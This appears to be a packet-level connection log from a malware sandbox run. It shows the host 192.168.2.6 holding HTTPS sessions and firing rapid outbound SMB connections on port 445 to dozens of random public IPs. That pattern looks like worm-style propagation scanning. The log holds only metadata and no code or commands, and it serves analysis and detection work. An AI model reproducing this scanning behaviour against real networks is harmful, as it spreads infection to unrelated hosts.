Jul 21, 2022 04:34:51.919348955 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.919414043 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.922379017 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.922409058 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.922450066 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.922458887 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.922492027 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.922548056 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.923927069 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.923954010 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.923995972 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.924005032 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.924026012 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.924048901 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.924143076 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.924206018 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.925605059 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.925627947 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.925673962 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.925685883 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.925714970 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.925736904 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.927009106 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.927040100 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.927114010 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.927125931 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.927181959 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.927198887 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.927262068 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.928894043 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.928920984 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.928999901 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.929016113 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.929052114 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.929085970 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.930253029 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.930274963 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.930340052 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.930354118 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.930389881 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.930412054 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.930416107 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.930430889 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.930480003 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.930514097 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.931467056 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.931490898 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.931555033 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.931567907 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.931601048 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.931622982 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.932779074 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.932809114 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.932879925 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.932893991 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.932924032 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.932941914 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.932948112 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.932956934 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.933013916 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.933043003 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.934123039 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.934149981 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.934222937 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.934237003 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.934264898 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.934297085 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.934653044 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.934674978 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.934726000 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.934734106 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.934768915 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.934788942 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.935182095 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.935255051 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.936136961 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.936177969 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.936249971 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.936297894 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.936305046 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.936359882 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.936981916 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.937005043 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.937057018 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.937066078 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.937098980 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.937125921 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.937442064 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:51.937657118 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:51.969228983 CEST	50764	445	192.168.2.6	194.221.100.186
Jul 21, 2022 04:34:52.069917917 CEST	50751	445	192.168.2.6	200.6.166.193
Jul 21, 2022 04:34:52.144505024 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.145797014 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.193597078 CEST	50765	445	192.168.2.6	31.158.58.113
Jul 21, 2022 04:34:52.194423914 CEST	50766	445	192.168.2.6	186.218.180.243
Jul 21, 2022 04:34:52.195297956 CEST	50767	445	192.168.2.6	175.85.138.127
Jul 21, 2022 04:34:52.195807934 CEST	50768	445	192.168.2.6	78.249.134.192
Jul 21, 2022 04:34:52.196300030 CEST	50769	445	192.168.2.6	89.230.190.132
Jul 21, 2022 04:34:52.196799994 CEST	50770	445	192.168.2.6	96.160.147.81
Jul 21, 2022 04:34:52.197328091 CEST	50771	445	192.168.2.6	111.231.34.4
Jul 21, 2022 04:34:52.197818995 CEST	50772	445	192.168.2.6	123.83.217.156
Jul 21, 2022 04:34:52.262541056 CEST	445	50751	200.6.166.193	192.168.2.6
Jul 21, 2022 04:34:52.281203032 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.281227112 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281241894 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281384945 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.281393051 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281415939 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.281421900 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281440973 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281518936 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.281528950 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281543970 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281625986 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.281636953 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281649113 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.281673908 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281701088 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281904936 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.281915903 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281934023 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.281939983 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.281955957 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.282063007 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.282071114 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.282083988 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.282090902 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.282105923 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.282212973 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.282223940 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.282239914 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.282246113 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.282295942 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.282362938 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.282371044 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.282483101 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.283974886 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.283987999 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.284497023 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.295277119 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.295294046 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.295315981 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.295332909 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.295521021 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.295531988 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.295552969 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.295559883 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.295578003 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.295736074 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.295743942 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.295754910 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.295777082 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.295897007 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.295903921 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.295908928 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.295923948 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.296003103 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.296019077 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.296041965 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.296051979 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.296068907 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.296089888 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.296154976 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.296262026 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.296843052 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.296853065 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.296875000 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.296895981 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297097921 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.297106981 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297126055 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.297133923 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297151089 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297318935 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.297331095 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297348022 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.297367096 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297393084 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297524929 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.297539949 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297565937 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.297579050 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297590971 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297708988 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.297921896 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.297934055 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.297940016 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.297960043 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.298284054 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.298295021 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.298301935 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.298316002 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.298332930 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.298347950 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.298453093 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.298554897 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.298561096 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.298577070 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.298609972 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.298631907 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.298831940 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.298851967 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.298875093 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.298882961 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.298898935 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.299058914 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.299067974 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.299601078 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.299608946 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.299767017 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.306564093 CEST	50773	445	192.168.2.6	123.17.186.108
Jul 21, 2022 04:34:52.367357016 CEST	50774	445	192.168.2.6	207.14.54.153
Jul 21, 2022 04:34:52.376319885 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.377003908 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.378056049 CEST	50762	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:52.378074884 CEST	443	50762	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:52.386416912 CEST	50775	445	192.168.2.6	55.36.100.152
Jul 21, 2022 04:34:52.493117094 CEST	50776	445	192.168.2.6	121.183.108.167
Jul 21, 2022 04:34:52.493540049 CEST	50777	445	192.168.2.6	163.81.215.55
Jul 21, 2022 04:34:52.494060040 CEST	50778	445	192.168.2.6	117.23.125.60
Jul 21, 2022 04:34:52.494554996 CEST	50779	445	192.168.2.6	196.174.126.204
Jul 21, 2022 04:34:52.495047092 CEST	50780	445	192.168.2.6	199.160.83.45
Jul 21, 2022 04:34:52.495481968 CEST	50781	445	192.168.2.6	192.235.247.206
Jul 21, 2022 04:34:52.495945930 CEST	50782	445	192.168.2.6	95.220.120.123
Jul 21, 2022 04:34:52.513070107 CEST	50783	445	192.168.2.6	37.215.159.192
Jul 21, 2022 04:34:52.513542891 CEST	50784	445	192.168.2.6	148.2.168.223
Jul 21, 2022 04:34:52.514024973 CEST	50785	445	192.168.2.6	84.19.129.47
Jul 21, 2022 04:34:52.514484882 CEST	50786	445	192.168.2.6	87.15.145.122
Jul 21, 2022 04:34:52.586136103 CEST	50787	445	192.168.2.6	211.186.151.103
Jul 21, 2022 04:34:52.622728109 CEST	50788	445	192.168.2.6	217.106.155.182
Jul 21, 2022 04:34:52.805062056 CEST	50789	445	192.168.2.6	43.169.182.83
Jul 21, 2022 04:34:52.905961990 CEST	50790	445	192.168.2.6	190.98.231.14
Jul 21, 2022 04:34:52.906850100 CEST	50791	445	192.168.2.6	170.2.98.113
Jul 21, 2022 04:34:53.046636105 CEST	50792	445	192.168.2.6	21.20.250.61
Jul 21, 2022 04:34:53.787803888 CEST	50793	445	192.168.2.6	161.63.112.45
Jul 21, 2022 04:34:53.952811003 CEST	50794	445	192.168.2.6	64.179.100.136
Jul 21, 2022 04:34:53.953583002 CEST	50795	445	192.168.2.6	172.119.181.230
Jul 21, 2022 04:34:53.954088926 CEST	50796	445	192.168.2.6	25.20.139.49
Jul 21, 2022 04:34:53.954590082 CEST	50797	445	192.168.2.6	87.154.54.163
Jul 21, 2022 04:34:53.955069065 CEST	50798	445	192.168.2.6	202.11.181.124
Jul 21, 2022 04:34:53.955566883 CEST	50799	445	192.168.2.6	1.209.108.240
Jul 21, 2022 04:34:53.956233025 CEST	50800	445	192.168.2.6	170.236.47.162
Jul 21, 2022 04:34:53.956768036 CEST	50801	445	192.168.2.6	113.122.106.155
Jul 21, 2022 04:34:53.957261086 CEST	50802	445	192.168.2.6	2.73.77.202
Jul 21, 2022 04:34:53.957768917 CEST	50803	445	192.168.2.6	206.96.91.3
Jul 21, 2022 04:34:53.958317041 CEST	50804	445	192.168.2.6	81.235.23.229
Jul 21, 2022 04:34:53.959459066 CEST	50805	445	192.168.2.6	171.185.206.5
Jul 21, 2022 04:34:53.960580111 CEST	50806	445	192.168.2.6	55.140.224.53
Jul 21, 2022 04:34:53.970159054 CEST	50807	445	192.168.2.6	110.163.145.35
Jul 21, 2022 04:34:53.970876932 CEST	50808	445	192.168.2.6	99.209.174.84
Jul 21, 2022 04:34:53.971534014 CEST	50809	445	192.168.2.6	172.76.62.177
Jul 21, 2022 04:34:53.972213984 CEST	50810	445	192.168.2.6	158.109.222.119
Jul 21, 2022 04:34:53.973498106 CEST	50812	445	192.168.2.6	135.77.28.156
Jul 21, 2022 04:34:53.974147081 CEST	50813	445	192.168.2.6	181.101.187.238
Jul 21, 2022 04:34:53.974809885 CEST	50814	445	192.168.2.6	93.247.32.156
Jul 21, 2022 04:34:53.975482941 CEST	50815	445	192.168.2.6	70.51.195.123
Jul 21, 2022 04:34:53.976145029 CEST	50816	445	192.168.2.6	63.70.30.121
Jul 21, 2022 04:34:53.977186918 CEST	50817	445	192.168.2.6	219.158.15.41
Jul 21, 2022 04:34:53.977931023 CEST	50818	445	192.168.2.6	30.134.36.35
Jul 21, 2022 04:34:54.053318977 CEST	50819	445	192.168.2.6	190.98.231.15
Jul 21, 2022 04:34:54.055465937 CEST	50820	445	192.168.2.6	39.246.195.217
Jul 21, 2022 04:34:54.164654016 CEST	50821	445	192.168.2.6	12.130.176.243
Jul 21, 2022 04:34:54.454111099 CEST	50822	445	192.168.2.6	138.103.234.247
Jul 21, 2022 04:34:56.063246965 CEST	50823	445	192.168.2.6	190.98.231.16
Jul 21, 2022 04:34:56.066260099 CEST	50824	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:56.066288948 CEST	443	50824	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:56.066370964 CEST	50824	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:56.067085028 CEST	50824	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:56.067095995 CEST	443	50824	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:56.156469107 CEST	50825	445	192.168.2.6	103.19.163.207
Jul 21, 2022 04:34:56.157053947 CEST	50826	445	192.168.2.6	190.94.97.157
Jul 21, 2022 04:34:56.157619953 CEST	50827	445	192.168.2.6	70.254.202.58
Jul 21, 2022 04:34:56.158104897 CEST	50828	445	192.168.2.6	69.86.26.67
Jul 21, 2022 04:34:56.158608913 CEST	50829	445	192.168.2.6	39.109.85.227
Jul 21, 2022 04:34:56.159131050 CEST	50830	445	192.168.2.6	213.142.43.59
Jul 21, 2022 04:34:56.159641027 CEST	50831	445	192.168.2.6	179.186.38.111
Jul 21, 2022 04:34:56.160149097 CEST	50832	445	192.168.2.6	53.67.152.12
Jul 21, 2022 04:34:56.160672903 CEST	50833	445	192.168.2.6	218.57.13.122
Jul 21, 2022 04:34:56.161433935 CEST	50834	445	192.168.2.6	200.96.122.194
Jul 21, 2022 04:34:56.161957979 CEST	50835	445	192.168.2.6	157.124.61.62
Jul 21, 2022 04:34:56.162503004 CEST	50836	445	192.168.2.6	202.210.121.98
Jul 21, 2022 04:34:56.163008928 CEST	50837	445	192.168.2.6	142.164.91.233
Jul 21, 2022 04:34:56.163532972 CEST	50838	445	192.168.2.6	15.47.192.17
Jul 21, 2022 04:34:56.164077044 CEST	50839	445	192.168.2.6	174.238.223.198
Jul 21, 2022 04:34:56.164576054 CEST	50840	445	192.168.2.6	197.78.211.185
Jul 21, 2022 04:34:56.165065050 CEST	50841	445	192.168.2.6	196.171.226.249
Jul 21, 2022 04:34:56.165556908 CEST	50842	445	192.168.2.6	124.71.127.112
Jul 21, 2022 04:34:56.165690899 CEST	443	50824	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:56.165800095 CEST	50824	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:56.168329954 CEST	50824	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:56.168342113 CEST	443	50824	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:56.168873072 CEST	50843	445	192.168.2.6	141.131.220.99
Jul 21, 2022 04:34:56.169477940 CEST	50844	445	192.168.2.6	17.183.81.186
Jul 21, 2022 04:34:56.169951916 CEST	443	50824	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:56.170965910 CEST	50824	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:56.171041965 CEST	50824	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:56.171051979 CEST	443	50824	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:56.171216011 CEST	50824	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:56.171710968 CEST	50845	445	192.168.2.6	156.24.153.88
Jul 21, 2022 04:34:56.172276974 CEST	50846	445	192.168.2.6	56.140.158.60
Jul 21, 2022 04:34:56.172792912 CEST	50847	445	192.168.2.6	11.248.12.215
Jul 21, 2022 04:34:56.173311949 CEST	50848	445	192.168.2.6	129.47.53.74
Jul 21, 2022 04:34:56.173835039 CEST	50849	445	192.168.2.6	50.148.208.209
Jul 21, 2022 04:34:56.174367905 CEST	50850	445	192.168.2.6	115.14.20.19
Jul 21, 2022 04:34:56.174894094 CEST	50851	445	192.168.2.6	99.156.115.101
Jul 21, 2022 04:34:56.202471972 CEST	443	50824	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:56.202568054 CEST	443	50824	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:56.202656984 CEST	50824	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:56.207159042 CEST	50824	443	192.168.2.6	20.199.120.151
Jul 21, 2022 04:34:56.207182884 CEST	443	50824	20.199.120.151	192.168.2.6
Jul 21, 2022 04:34:56.207565069 CEST	50852	445	192.168.2.6	167.41.147.230
Jul 21, 2022 04:34:56.208178043 CEST	50853	445	192.168.2.6	35.98.193.33
Jul 21, 2022 04:34:56.479191065 CEST	50854	445	192.168.2.6	96.149.213.120
Jul 21, 2022 04:34:57.132165909 CEST	50855	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:57.132231951 CEST	443	50855	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:57.132334948 CEST	50855	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:57.134510040 CEST	50856	445	192.168.2.6	190.98.231.17
Jul 21, 2022 04:34:57.135158062 CEST	50855	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:57.135189056 CEST	443	50855	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:57.221921921 CEST	443	50855	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:57.222017050 CEST	50855	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:57.225097895 CEST	50855	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:57.225116968 CEST	443	50855	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:57.225322962 CEST	443	50855	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:57.230832100 CEST	50855	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:57.230899096 CEST	50855	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:57.230914116 CEST	443	50855	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:57.231077909 CEST	50855	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:57.257956982 CEST	443	50855	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:57.258019924 CEST	443	50855	20.199.120.85	192.168.2.6
Jul 21, 2022 04:34:57.258177996 CEST	50855	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:57.263856888 CEST	50855	443	192.168.2.6	20.199.120.85
Jul 21, 2022 04:34:57.263879061 CEST	443	50855	20.199.120.85	192.168.2.6
